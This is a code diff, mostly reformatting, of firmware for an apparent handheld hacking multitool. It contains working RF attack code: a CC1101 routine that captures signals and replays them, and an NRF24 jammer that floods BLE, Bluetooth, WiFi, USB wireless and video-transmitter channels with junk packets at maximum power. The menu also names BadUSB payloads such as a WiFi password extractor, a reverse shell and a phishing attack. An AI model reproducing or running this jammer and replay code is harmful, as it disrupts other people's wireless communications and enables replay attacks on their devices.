| 240 | + | Serial.print(", "); | |
| 241 | + | } | |
| 294 | 242 | ||
| 295 | − | void handleMenu() | |
| 296 | − | { | |
| 297 | − | if (!isCC1101Ready()) | |
| 298 | − | { | |
| 299 | − | if (!initCC1101()) | |
| 300 | − | { | |
| 301 | − | u8g2.clearBuffer(); | |
| 302 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 303 | − | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 304 | − | u8g2.sendBuffer(); | |
| 305 | − | delay(1500); | |
| 306 | − | return; | |
| 307 | − | } | |
| 243 | + | Serial.println(); | |
| 244 | + | ||
| 245 | + | u8g2.clearBuffer(); | |
| 246 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 247 | + | u8g2.drawStr(0, 15, "Capture Complete"); | |
| 248 | + | ||
| 249 | + | u8g2.setCursor(0, 35); | |
| 308 | 250 | } | |
| 251 | + | } | |
| 252 | + | } | |
| 309 | 253 | ||
| 310 | − | pulseIndex = 0; | |
| 254 | + | void handleMenu() { | |
| 255 | + | if (!isCC1101Ready()) { | |
| 256 | + | if (!initCC1101()) { | |
| 257 | + | u8g2.clearBuffer(); | |
| 258 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 259 | + | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 260 | + | u8g2.sendBuffer(); | |
| 261 | + | delay(1500); | |
| 262 | + | return; | |
| 263 | + | } | |
| 264 | + | } | |
| 311 | 265 | ||
| 312 | − | startCapture(); | |
| 266 | + | pulseIndex = 0; | |
| 313 | 267 | ||
| 314 | − | // ===== CAPTURE FOR 5 SEC ===== | |
| 315 | − | unsigned long start = millis(); | |
| 268 | + | startCapture(); | |
| 316 | 269 | ||
| 317 | − | while (millis() - start < 5000) | |
| 318 | − | { | |
| 319 | − | noInterrupts(); | |
| 320 | − | int count = pulseIndex; | |
| 321 | − | interrupts(); | |
| 270 | + | // ===== CAPTURE FOR 5 SEC ===== | |
| 271 | + | unsigned long start = millis(); | |
| 322 | 272 | ||
| 323 | − | u8g2.clearBuffer(); | |
| 324 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 273 | + | while (millis() - start < 5000) { | |
| 274 | + | noInterrupts(); | |
| 275 | + | int count = pulseIndex; | |
| 276 | + | interrupts(); | |
| 325 | 277 | ||
| 326 | − | u8g2.drawStr(0, 12, "RF Capturing..."); | |
| 278 | + | u8g2.clearBuffer(); | |
| 279 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 327 | 280 | ||
| 328 | − | u8g2.setCursor(0, 30); | |
| 329 | − | u8g2.print("Pulses: "); | |
| 330 | − | u8g2.print(count); | |
| 281 | + | u8g2.drawStr(0, 12, "RF Capturing..."); | |
| 331 | 282 | ||
| 332 | − | u8g2.sendBuffer(); | |
| 283 | + | u8g2.setCursor(0, 30); | |
| 284 | + | u8g2.print("Pulses: "); | |
| 285 | + | u8g2.print(count); | |
| 333 | 286 | ||
| 334 | − | delay(50); | |
| 335 | − | } | |
| 287 | + | u8g2.sendBuffer(); | |
| 336 | 288 | ||
| 337 | − | stopCapture(); | |
| 289 | + | delay(50); | |
| 290 | + | } | |
| 338 | 291 | ||
| 339 | − | // ===== DISPLAY CAPTURE BUFFER ===== | |
| 340 | − | int scroll = 0; | |
| 292 | + | stopCapture(); | |
| 341 | 293 | ||
| 342 | − | while (1) | |
| 343 | − | { | |
| 344 | − | noInterrupts(); | |
| 345 | − | int count = pulseIndex; | |
| 346 | − | interrupts(); | |
| 294 | + | // ===== DISPLAY CAPTURE BUFFER ===== | |
| 295 | + | int scroll = 0; | |
| 347 | 296 | ||
| 348 | − | u8g2.clearBuffer(); | |
| 349 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 297 | + | while (1) { | |
| 298 | + | noInterrupts(); | |
| 299 | + | int count = pulseIndex; | |
| 300 | + | interrupts(); | |
| 350 | 301 | ||
| 351 | − | u8g2.drawStr(0, 8, "Captured Buffer"); | |
| 302 | + | u8g2.clearBuffer(); | |
| 303 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 352 | 304 | ||
| 353 | − | // display 6 lines | |
| 354 | − | for (int i = 0; i < 6; i++) | |
| 355 | − | { | |
| 356 | − | int idx = scroll + i; | |
| 305 | + | u8g2.drawStr(0, 8, "Captured Buffer"); | |
| 357 | 306 | ||
| 358 | − | if (idx >= count) | |
| 359 | − | break; | |
| 307 | + | // display 6 lines | |
| 308 | + | for (int i = 0; i < 6; i++) { | |
| 309 | + | int idx = scroll + i; | |
| 360 | 310 | ||
| 361 | − | noInterrupts(); | |
| 362 | − | unsigned long val = captureBuffer[idx]; | |
| 363 | − | interrupts(); | |
| 311 | + | if (idx >= count) | |
| 312 | + | break; | |
| 364 | 313 | ||
| 365 | − | char buf[32]; | |
| 314 | + | noInterrupts(); | |
| 315 | + | unsigned long val = captureBuffer[idx]; | |
| 316 | + | interrupts(); | |
| 366 | 317 | ||
| 367 | − | snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); | |
| 318 | + | char buf[32]; | |
| 368 | 319 | ||
| 369 | − | u8g2.drawStr(0, 20 + (i * 8), buf); | |
| 370 | − | } | |
| 320 | + | snprintf(buf, sizeof(buf), "%03d: %lu", idx, val); | |
| 371 | 321 | ||
| 372 | − | u8g2.sendBuffer(); | |
| 322 | + | u8g2.drawStr(0, 20 + (i * 8), buf); | |
| 323 | + | } | |
| 373 | 324 | ||
| 374 | − | // scroll down | |
| 375 | − | if (btnDown()) | |
| 376 | − | { | |
| 377 | − | if (scroll < count - 1) | |
| 378 | − | scroll++; | |
| 325 | + | u8g2.sendBuffer(); | |
| 379 | 326 | ||
| 380 | − | delay(120); | |
| 381 | − | } | |
| 327 | + | // scroll down | |
| 328 | + | if (btnDown()) { | |
| 329 | + | if (scroll < count - 1) | |
| 330 | + | scroll++; | |
| 382 | 331 | ||
| 383 | − | // scroll up | |
| 384 | − | if (btnUp()) | |
| 385 | − | { | |
| 386 | − | if (scroll > 0) | |
| 387 | − | scroll--; | |
| 332 | + | delay(120); | |
| 333 | + | } | |
| 388 | 334 | ||
| 389 | − | delay(120); | |
| 390 | − | } | |
| 335 | + | // scroll up | |
| 336 | + | if (btnUp()) { | |
| 337 | + | if (scroll > 0) | |
| 338 | + | scroll--; | |
| 391 | 339 | ||
| 392 | − | // replay | |
| 393 | − | if (btnSelect()) | |
| 394 | − | { | |
| 395 | − | replaySignal(); | |
| 396 | − | delay(300); | |
| 397 | − | } | |
| 340 | + | delay(120); | |
| 341 | + | } | |
| 398 | 342 | ||
| 399 | − | // exit | |
| 400 | − | if (btnBack()) | |
| 401 | − | { | |
| 402 | − | delay(150); | |
| 403 | − | return; | |
| 404 | − | } | |
| 343 | + | // replay | |
| 344 | + | if (btnSelect()) { | |
| 345 | + | replaySignal(); | |
| 346 | + | delay(300); | |
| 347 | + | } | |
| 405 | 348 | ||
| 406 | − | delay(20); | |
| 349 | + | // exit | |
| 350 | + | if (btnBack()) { | |
| 351 | + | delay(150); | |
| 352 | + | return; | |
| 407 | 353 | } | |
| 354 | + | ||
| 355 | + | delay(20); | |
| 356 | + | } | |
| 408 | 357 | } | |
| @@ -1,8 +1,8 @@ | |||
| 1 | − | #include <Arduino.h> | |
| 2 | − | #include <RF24.h> | |
| 3 | 1 | #include "nrf24.h" | |
| 4 | 2 | #include "../ui/display.h" | |
| 5 | 3 | #include "../utils/buttons.h" | |
| 4 | + | #include <Arduino.h> | |
| 5 | + | #include <RF24.h> | |
| 6 | 6 | #define JAM_DURATION 500 | |
| 7 | 7 | ||
| 8 | 8 | extern SPIClass *RADIO_SPI; | |
| @@ -11,239 +11,206 @@ extern RF24 radio2; | |||
| 11 | 11 | ||
| 12 | 12 | // ============ CHANNELS ============= | |
| 13 | 13 | const byte bleChannels[] = {2, 26, 80}; | |
| 14 | − | const byte bluetoothChannels[] = { | |
| 15 | − | 32, 34, 46, 48, 50, 52, | |
| 16 | − | 0, 1, 2, 4, 6, 8, | |
| 17 | − | 22, 24, 26, 28, 30, | |
| 18 | − | 74, 76, 78, 80 | |
| 19 | − | }; | |
| 20 | − | const byte wifiChannels[] = { | |
| 21 | − | 12, 17, 22, 27, 32, | |
| 22 | − | 37, 42, 47, 52, 57, | |
| 23 | − | 62, 67, 72 | |
| 24 | − | }; | |
| 25 | − | const byte usbWireless_channels[] = {40, 50, 60}; | |
| 14 | + | const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, | |
| 15 | + | 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; | |
| 16 | + | const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42, | |
| 17 | + | 47, 52, 57, 62, 67, 72}; | |
| 18 | + | const byte usbWireless_channels[] = {40, 50, 60}; | |
| 26 | 19 | const byte videoTransmitter_channels[] = {70, 75, 80}; | |
| 27 | − | const byte zigbee_channels[] = {11, 15, 20, 25}; | |
| 28 | − | const byte rc_channels[] = {1, 3, 5, 7}; | |
| 29 | − | ||
| 30 | − | void initNRF(RF24 &radio) | |
| 31 | − | { | |
| 32 | − | if (!radio.begin(RADIO_SPI)) { | |
| 33 | − | Serial.println("NRF not found"); | |
| 34 | − | return; | |
| 35 | − | } | |
| 36 | − | ||
| 37 | − | radio.setAutoAck(false); | |
| 38 | − | radio.stopListening(); | |
| 39 | − | radio.setRetries(0, 0); | |
| 40 | − | radio.setPALevel(RF24_PA_MAX, true); | |
| 41 | − | radio.setDataRate(RF24_2MBPS); | |
| 42 | − | radio.openWritingPipe(0xE7E7E7E7E7LL); | |
| 43 | − | radio.setCRCLength(RF24_CRC_DISABLED); | |
| 44 | − | Serial.println("NRF Initialized"); | |
| 45 | − | ||
| 20 | + | const byte zigbee_channels[] = {11, 15, 20, 25}; | |
| 21 | + | const byte rc_channels[] = {1, 3, 5, 7}; | |
| 22 | + | ||
| 23 | + | void initNRF(RF24 &radio) { | |
| 24 | + | if (!radio.begin(RADIO_SPI)) { | |
| 25 | + | Serial.println("NRF not found"); | |
| 26 | + | return; | |
| 27 | + | } | |
| 28 | + | ||
| 29 | + | radio.setAutoAck(false); | |
| 30 | + | radio.stopListening(); | |
| 31 | + | radio.setRetries(0, 0); | |
| 32 | + | radio.setPALevel(RF24_PA_MAX, true); | |
| 33 | + | radio.setDataRate(RF24_2MBPS); | |
| 34 | + | radio.openWritingPipe(0xE7E7E7E7E7LL); | |
| 35 | + | radio.setCRCLength(RF24_CRC_DISABLED); | |
| 36 | + | Serial.println("NRF Initialized"); | |
| 46 | 37 | } | |
| 47 | 38 | ||
| 48 | − | ||
| 49 | − | ||
| 50 | − | //void startBleJammer() { | |
| 51 | − | // initNRF(radio1); | |
| 52 | − | // initNRF(radio2); | |
| 39 | + | // void startBleJammer() { | |
| 40 | + | // initNRF(radio1); | |
| 41 | + | // initNRF(radio2); | |
| 53 | 42 | // | |
| 54 | − | // Serial.println("NRF JAMMER STARTED"); | |
| 43 | + | // Serial.println("NRF JAMMER STARTED"); | |
| 55 | 44 | // | |
| 56 | − | // const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 45 | + | // const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 57 | 46 | // | |
| 58 | − | // u8g2.clearBuffer(); | |
| 59 | − | // u8g2.drawStr(0, 10, "Jamming:"); | |
| 60 | − | // u8g2.setCursor(60, 10); | |
| 61 | − | // u8g2.print("Bluetooth"); | |
| 62 | − | // u8g2.sendBuffer(); | |
| 47 | + | // u8g2.clearBuffer(); | |
| 48 | + | // u8g2.drawStr(0, 10, "Jamming:"); | |
| 49 | + | // u8g2.setCursor(60, 10); | |
| 50 | + | // u8g2.print("Bluetooth"); | |
| 51 | + | // u8g2.sendBuffer(); | |
| 63 | 52 | // | |
| 64 | − | // while(true) { | |
| 53 | + | // while(true) { | |
| 65 | 54 | // | |
| 66 | − | // // Channels (you can change this set) | |
| 67 | − | // const byte channels[] = {2, 26, 80}; | |
| 55 | + | // // Channels (you can change this set) | |
| 56 | + | // const byte channels[] = {2, 26, 80}; | |
| 68 | 57 | // | |
| 69 | 58 | // | |
| 70 | − | // for (int i = 0; i < sizeof(channels); i++) { | |
| 71 | − | // radio1.setChannel(channels[i]); | |
| 72 | − | // radio1.write(&payload, sizeof(payload)); | |
| 73 | − | // //radio2.setChannel(channels[i]); | |
| 74 | − | // //radio2.write(&payload, sizeof(payload)); | |
| 75 | − | // } | |
| 59 | + | // for (int i = 0; i < sizeof(channels); i++) { | |
| 60 | + | // radio1.setChannel(channels[i]); | |
| 61 | + | // radio1.write(&payload, sizeof(payload)); | |
| 62 | + | // //radio2.setChannel(channels[i]); | |
| 63 | + | // //radio2.write(&payload, sizeof(payload)); | |
| 64 | + | // } | |
| 76 | 65 | // | |
| 77 | − | // if (btnBack()) | |
| 78 | − | // { | |
| 79 | − | // Serial.println("Jammer stopped"); | |
| 80 | − | // return; | |
| 81 | − | // } | |
| 82 | − | // } | |
| 66 | + | // if (btnBack()) | |
| 67 | + | // { | |
| 68 | + | // Serial.println("Jammer stopped"); | |
| 69 | + | // return; | |
| 70 | + | // } | |
| 71 | + | // } | |
| 83 | 72 | // | |
| 84 | − | //} | |
| 73 | + | // } | |
| 85 | 74 | // | |
| 86 | − | //void startBluetoothJammer() | |
| 75 | + | // void startBluetoothJammer() | |
| 87 | 76 | //{ | |
| 88 | − | // initNRF(radio1); | |
| 89 | − | // initNRF(radio2); | |
| 77 | + | // initNRF(radio1); | |
| 78 | + | // initNRF(radio2); | |
| 90 | 79 | // | |
| 91 | − | // Serial.println("NRF JAMMER STARTED"); | |
| 80 | + | // Serial.println("NRF JAMMER STARTED"); | |
| 92 | 81 | // | |
| 93 | − | // const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 82 | + | // const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 94 | 83 | // | |
| 95 | − | // u8g2.clearBuffer(); | |
| 96 | − | // u8g2.drawStr(0, 10, "Jamming:"); | |
| 97 | − | // u8g2.setCursor(60, 10); | |
| 98 | − | // u8g2.print("Bluetooth"); | |
| 99 | − | // u8g2.sendBuffer(); | |
| 84 | + | // u8g2.clearBuffer(); | |
| 85 | + | // u8g2.drawStr(0, 10, "Jamming:"); | |
| 86 | + | // u8g2.setCursor(60, 10); | |
| 87 | + | // u8g2.print("Bluetooth"); | |
| 88 | + | // u8g2.sendBuffer(); | |
| 100 | 89 | // | |
| 101 | − | // while(true) { | |
| 90 | + | // while(true) { | |
| 102 | 91 | // | |
| 103 | − | // // Channels (you can change this set) | |
| 104 | − | // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; | |
| 92 | + | // // Channels (you can change this set) | |
| 93 | + | // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, | |
| 94 | + | // 24, 26, 28, 30, 74, 76, 78, 80}; | |
| 105 | 95 | // | |
| 106 | 96 | // | |
| 107 | − | // for (int i = 0; i < sizeof(channels); i++) { | |
| 108 | − | // radio1.setChannel(channels[i]); | |
| 109 | − | // radio1.write(&payload, sizeof(payload)); | |
| 110 | − | // //radio2.setChannel(channels[i]); | |
| 111 | − | // //radio2.write(&payload, sizeof(payload)); | |
| 112 | − | // } | |
| 97 | + | // for (int i = 0; i < sizeof(channels); i++) { | |
| 98 | + | // radio1.setChannel(channels[i]); | |
| 99 | + | // radio1.write(&payload, sizeof(payload)); | |
| 100 | + | // //radio2.setChannel(channels[i]); | |
| 101 | + | // //radio2.write(&payload, sizeof(payload)); | |
| 102 | + | // } | |
| 113 | 103 | // | |
| 114 | − | // if (btnBack()) | |
| 115 | − | // { | |
| 116 | − | // Serial.println("Jammer stopped"); | |
| 117 | − | // return; | |
| 118 | − | // } | |
| 119 | − | // } | |
| 120 | − | //} | |
| 121 | − | ||
| 122 | − | void startJammer(const char* name, const byte* channels, size_t channelCount) | |
| 123 | − | { | |
| 124 | − | initNRF(radio1); | |
| 125 | − | initNRF(radio2); | |
| 126 | − | ||
| 127 | − | Serial.println("NRF JAMMER STARTED"); | |
| 104 | + | // if (btnBack()) | |
| 105 | + | // { | |
| 106 | + | // Serial.println("Jammer stopped"); | |
| 107 | + | // return; | |
| 108 | + | // } | |
| 109 | + | // } | |
| 110 | + | // } | |
| 128 | 111 | ||
| 129 | − | const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 112 | + | void startJammer(const char *name, const byte *channels, size_t channelCount) { | |
| 113 | + | initNRF(radio1); | |
| 114 | + | initNRF(radio2); | |
| 130 | 115 | ||
| 131 | − | u8g2.clearBuffer(); | |
| 132 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 133 | − | u8g2.drawStr(0, 15, "NRF24 Jammer"); | |
| 134 | − | u8g2.drawStr(0, 35, name); | |
| 135 | − | u8g2.drawStr(0, 55, "BACK = Exit"); | |
| 136 | − | u8g2.sendBuffer(); | |
| 116 | + | Serial.println("NRF JAMMER STARTED"); | |
| 137 | 117 | ||
| 138 | − | while (true) | |
| 139 | − | { | |
| 140 | − | for (size_t i = 0; i < channelCount; i++) | |
| 141 | − | { | |
| 142 | − | //radio1.setChannel(channels[i]); | |
| 143 | − | //radio1.write(&payload, sizeof(payload)); | |
| 118 | + | const char payload[] = "xxxxxxxxxxxxxxxx"; | |
| 144 | 119 | ||
| 145 | − | // Optional second NRF | |
| 146 | − | // radio2.setChannel(channels[i]); | |
| 147 | − | // radio2.write(&payload, sizeof(payload)); | |
| 120 | + | u8g2.clearBuffer(); | |
| 121 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 122 | + | u8g2.drawStr(0, 15, "NRF24 Jammer"); | |
| 123 | + | u8g2.drawStr(0, 35, name); | |
| 124 | + | u8g2.drawStr(0, 55, "BACK = Exit"); | |
| 125 | + | u8g2.sendBuffer(); | |
| 148 | 126 | ||
| 127 | + | while (true) { | |
| 128 | + | for (size_t i = 0; i < channelCount; i++) { | |
| 129 | + | // radio1.setChannel(channels[i]); | |
| 130 | + | // radio1.write(&payload, sizeof(payload)); | |
| 149 | 131 | ||
| 150 | − | radio1.setChannel(channels[i]); | |
| 151 | − | radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 132 | + | // Optional second NRF | |
| 133 | + | // radio2.setChannel(channels[i]); | |
| 134 | + | // radio2.write(&payload, sizeof(payload)); | |
| 152 | 135 | ||
| 153 | − | radio1.writeFast(&payload, sizeof(payload)); | |
| 154 | − | radio2.writeFast(&payload, sizeof(payload)); | |
| 155 | − | } | |
| 136 | + | radio1.setChannel(channels[i]); | |
| 137 | + | radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 156 | 138 | ||
| 157 | − | if (btnBack()) | |
| 158 | − | { | |
| 159 | − | Serial.println("Jammer stopped"); | |
| 160 | − | radio1.powerDown(); | |
| 161 | − | radio2.powerDown(); | |
| 162 | − | return; | |
| 163 | − | } | |
| 164 | − | } | |
| 139 | + | radio1.writeFast(&payload, sizeof(payload)); | |
| 140 | + | radio2.writeFast(&payload, sizeof(payload)); | |
| 141 | + | } | |
| 165 | 142 | ||
| 166 | − | //while (true) { | |
| 167 | − | //for (size_t i = 0; i < channelCount; i++) | |
| 168 | − | //{ | |
| 169 | − | // radio1.setChannel(channels[i]); | |
| 170 | − | // radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 143 | + | if (btnBack()) { | |
| 144 | + | Serial.println("Jammer stopped"); | |
| 145 | + | radio1.powerDown(); | |
| 146 | + | radio2.powerDown(); | |
| 147 | + | return; | |
| 148 | + | } | |
| 149 | + | } | |
| 171 | 150 | ||
| 172 | − | // radio1.writeFast(&payload, sizeof(payload)); | |
| 173 | − | // radio2.writeFast(&payload, sizeof(payload)); | |
| 151 | + | // while (true) { | |
| 152 | + | // for (size_t i = 0; i < channelCount; i++) | |
| 153 | + | //{ | |
| 154 | + | // radio1.setChannel(channels[i]); | |
| 155 | + | // radio2.setChannel(channels[(i + 1) % channelCount]); | |
| 174 | 156 | ||
| 175 | − | // radio1.txStandBy(1); | |
| 176 | − | // radio2.txStandBy(1); | |
| 157 | + | // radio1.writeFast(&payload, sizeof(payload)); | |
| 158 | + | // radio2.writeFast(&payload, sizeof(payload)); | |
| 177 | 159 | ||
| 178 | − | // delayMicroseconds(200); | |
| 179 | − | //} | |
| 160 | + | // radio1.txStandBy(1); | |
| 161 | + | // radio2.txStandBy(1); | |
| 180 | 162 | ||
| 163 | + | // delayMicroseconds(200); | |
| 164 | + | //} | |
| 181 | 165 | ||
| 182 | − | //if (btnBack()) | |
| 183 | − | //{ | |
| 184 | − | // Serial.println("Jammer stopped"); | |
| 166 | + | // if (btnBack()) | |
| 167 | + | //{ | |
| 168 | + | // Serial.println("Jammer stopped"); | |
| 185 | 169 | ||
| 186 | − | // radio1.powerDown(); | |
| 187 | − | // radio2.powerDown(); | |
| 170 | + | // radio1.powerDown(); | |
| 171 | + | // radio2.powerDown(); | |
| 188 | 172 | ||
| 189 | − | // return; | |
| 190 | − | //} | |
| 191 | − | //} | |
| 173 | + | // return; | |
| 174 | + | //} | |
| 175 | + | //} | |
| 192 | 176 | } | |
| 193 | 177 | ||
| 194 | 178 | void NRFToolsMenu(int index) { | |
| 195 | − | switch (index) { | |
| 196 | − | case 0: | |
| 197 | − | // startBleJammer(); | |
| 198 | − | // BLE | |
| 199 | − | startJammer( | |
| 200 | − | "BLE", | |
| 201 | − | bleChannels, | |
| 202 | − | sizeof(bleChannels) / sizeof(bleChannels[0]) | |
| 203 | − | ); | |
| 204 | − | ||
| 205 | − | break; | |
| 206 | − | case 1: | |
| 207 | − | // startBluetoothJammer(); | |
| 208 | − | // Bluetooth | |
| 209 | − | startJammer( | |
| 210 | − | "Bluetooth", | |
| 211 | − | bluetoothChannels, | |
| 212 | − | sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]) | |
| 213 | − | ); | |
| 214 | − | break; | |
| 215 | − | ||
| 216 | − | case 2: | |
| 217 | − | startJammer( | |
| 218 | − | "WiFi", | |
| 219 | − | wifiChannels, | |
| 220 | − | sizeof(wifiChannels) / sizeof(wifiChannels[0]) | |
| 221 | − | ); | |
| 222 | − | break; | |
| 223 | − | case 3: | |
| 224 | − | startJammer( | |
| 225 | − | "USB Wireless", | |
| 226 | − | usbWireless_channels, | |
| 227 | − | sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]) | |
| 228 | − | ); | |
| 229 | − | break; | |
| 230 | − | case 4: | |
| 231 | − | startJammer( | |
| 232 | − | "Video TX", | |
| 233 | − | videoTransmitter_channels, | |
| 234 | − | sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0]) | |
| 235 | − | ); | |
| 236 | − | break; | |
| 237 | − | case 5: | |
| 238 | − | break; | |
| 239 | − | startJammer( | |
| 240 | − | "RC", | |
| 241 | − | rc_channels, | |
| 242 | − | sizeof(rc_channels) / sizeof(rc_channels[0]) | |
| 243 | − | ); | |
| 244 | − | break; | |
| 245 | − | case 6: | |
| 246 | − | ||
| 247 | − | break; | |
| 179 | + | switch (index) { | |
| 180 | + | case 0: | |
| 181 | + | // startBleJammer(); | |
| 182 | + | // BLE | |
| 183 | + | startJammer("BLE", bleChannels, | |
| 184 | + | sizeof(bleChannels) / sizeof(bleChannels[0])); | |
| 185 | + | ||
| 186 | + | break; | |
| 187 | + | case 1: | |
| 188 | + | // startBluetoothJammer(); | |
| 189 | + | // Bluetooth | |
| 190 | + | startJammer("Bluetooth", bluetoothChannels, | |
| 191 | + | sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])); | |
| 192 | + | break; | |
| 193 | + | ||
| 194 | + | case 2: | |
| 195 | + | startJammer("WiFi", wifiChannels, | |
| 196 | + | sizeof(wifiChannels) / sizeof(wifiChannels[0])); | |
| 197 | + | break; | |
| 198 | + | case 3: | |
| 199 | + | startJammer("USB Wireless", usbWireless_channels, | |
| 200 | + | sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); | |
| 201 | + | break; | |
| 202 | + | case 4: | |
| 203 | + | startJammer("Video TX", videoTransmitter_channels, | |
| 204 | + | sizeof(videoTransmitter_channels) / | |
| 205 | + | sizeof(videoTransmitter_channels[0])); | |
| 206 | + | break; | |
| 207 | + | case 5: | |
| 208 | + | break; | |
| 209 | + | startJammer("RC", rc_channels, | |
| 210 | + | sizeof(rc_channels) / sizeof(rc_channels[0])); | |
| 211 | + | break; | |
| 212 | + | case 6: | |
| 213 | + | ||
| 214 | + | break; | |
| 215 | + | } | |
| 248 | 216 | } | |
| 249 | − | } | |
| @@ -1,16 +1,11 @@ | |||
| 1 | 1 | #include "display.h" | |
| 2 | − | #include <Wire.h> | |
| 3 | 2 | #include "config.h" | |
| 3 | + | #include <Wire.h> | |
| 4 | 4 | ||
| 5 | + | U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); | |
| 5 | 6 | ||
| 6 | − | U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( | |
| 7 | − | U8G2_R0, | |
| 8 | − | U8X8_PIN_NONE | |
| 9 | − | ); | |
| 10 | − | ||
| 11 | − | void displayInit() | |
| 12 | − | { | |
| 13 | − | Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); | |
| 14 | − | u8g2.begin(); | |
| 15 | − | u8g2.setFont(u8g2_font_6x12_tr); | |
| 7 | + | void displayInit() { | |
| 8 | + | Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); | |
| 9 | + | u8g2.begin(); | |
| 10 | + | u8g2.setFont(u8g2_font_6x12_tr); | |
| 16 | 11 | } | |
| @@ -1,71 +1,55 @@ | |||
| 1 | − | #include <Arduino.h> | |
| 2 | 1 | #include "menu.h" | |
| 2 | + | #include "BleMouse.h" | |
| 3 | + | #include "bluetooth/ble_mouse.h" | |
| 4 | + | #include "bluetooth/blescanner.h" | |
| 3 | 5 | #include "display.h" | |
| 4 | − | #include "utils/buttons.h" | |
| 5 | 6 | #include "hid/badusb.h" | |
| 6 | − | #include "rf/nrf24.h" | |
| 7 | + | #include "nfc/nfc.h" | |
| 7 | 8 | #include "rf/cc1101.h" | |
| 8 | − | #include "wifi/wifi_scan.h" | |
| 9 | − | #include "wifi/wifi_analyzer.h" | |
| 9 | + | #include "rf/nrf24.h" | |
| 10 | + | #include "utils/buttons.h" | |
| 10 | 11 | #include "utils/device_check.h" | |
| 11 | − | #include "bluetooth/ble_mouse.h" | |
| 12 | − | #include "bluetooth/blescanner.h" | |
| 13 | 12 | #include "utils/sysinfo.h" | |
| 14 | − | #include "BleMouse.h" | |
| 15 | − | #include "nfc/nfc.h" | |
| 13 | + | #include "wifi/wifi_analyzer.h" | |
| 14 | + | #include "wifi/wifi_scan.h" | |
| 15 | + | #include <Arduino.h> | |
| 16 | 16 | ||
| 17 | 17 | // ================= MENU DATA ================= | |
| 18 | 18 | extern BleMouse bleMouse; | |
| 19 | 19 | ||
| 20 | 20 | // Root menu | |
| 21 | − | const char *mainMenuItems[] = { | |
| 22 | − | "BadUSB", | |
| 23 | − | "RF Capture", | |
| 24 | − | "NRF Tools", | |
| 25 | − | "BLE Scan", | |
| 26 | − | "Wifi Scan", | |
| 27 | − | "Wifi Analyzer", | |
| 28 | − | "System Info", | |
| 29 | − | "Device Check", | |
| 30 | − | "Restart", | |
| 31 | − | "Ble Mouse", | |
| 32 | − | "NFC Tools" | |
| 33 | − | }; | |
| 34 | − | ||
| 35 | − | Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; | |
| 21 | + | const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools", | |
| 22 | + | "BLE Scan", "Wifi Scan", "Wifi Analyzer", | |
| 23 | + | "System Info", "Device Check", "Restart", | |
| 24 | + | "Ble Mouse", "NFC Tools"}; | |
| 36 | 25 | ||
| 26 | + | Menu mainMenu = {mainMenuItems, | |
| 27 | + | sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; | |
| 37 | 28 | ||
| 38 | 29 | // NRF Tools menu | |
| 39 | 30 | const char *nrfToolsItems[] = { | |
| 40 | − | "BLE Jammer", | |
| 41 | − | "Bluetooth Jammer", | |
| 42 | − | "Wifi Jammer", | |
| 43 | − | "USB Wireless", | |
| 44 | − | "Video TX", | |
| 45 | − | "Zigbee", | |
| 46 | − | "RC" | |
| 31 | + | "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless", | |
| 32 | + | "Video TX", "Zigbee", "RC" | |
| 47 | 33 | ||
| 48 | 34 | }; | |
| 49 | 35 | ||
| 50 | − | Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; | |
| 51 | − | ||
| 52 | − | ||
| 53 | − | const char *badusbItems[] = { | |
| 54 | − | "ORION Demo", | |
| 55 | − | "RickRoll", | |
| 56 | − | "Matrix Rain", | |
| 57 | − | "Fake Terminal", | |
| 58 | − | "Wifi Password Extractor", | |
| 59 | − | "Fake Update", | |
| 60 | − | "Fake BSOD", | |
| 61 | − | "Glitch Screen", | |
| 62 | − | "ASCII Spam", | |
| 63 | − | "Hacker Typer", | |
| 64 | − | "PWN Reverse shell", | |
| 65 | − | "Phishing attack", | |
| 66 | − | "Desktop Ghost", | |
| 67 | − | "System Stresser" | |
| 68 | − | }; | |
| 36 | + | Menu nrfToolsMenu = {nrfToolsItems, | |
| 37 | + | sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; | |
| 38 | + | ||
| 39 | + | const char *badusbItems[] = {"ORION Demo", | |
| 40 | + | "RickRoll", | |
| 41 | + | "Matrix Rain", | |
| 42 | + | "Fake Terminal", | |
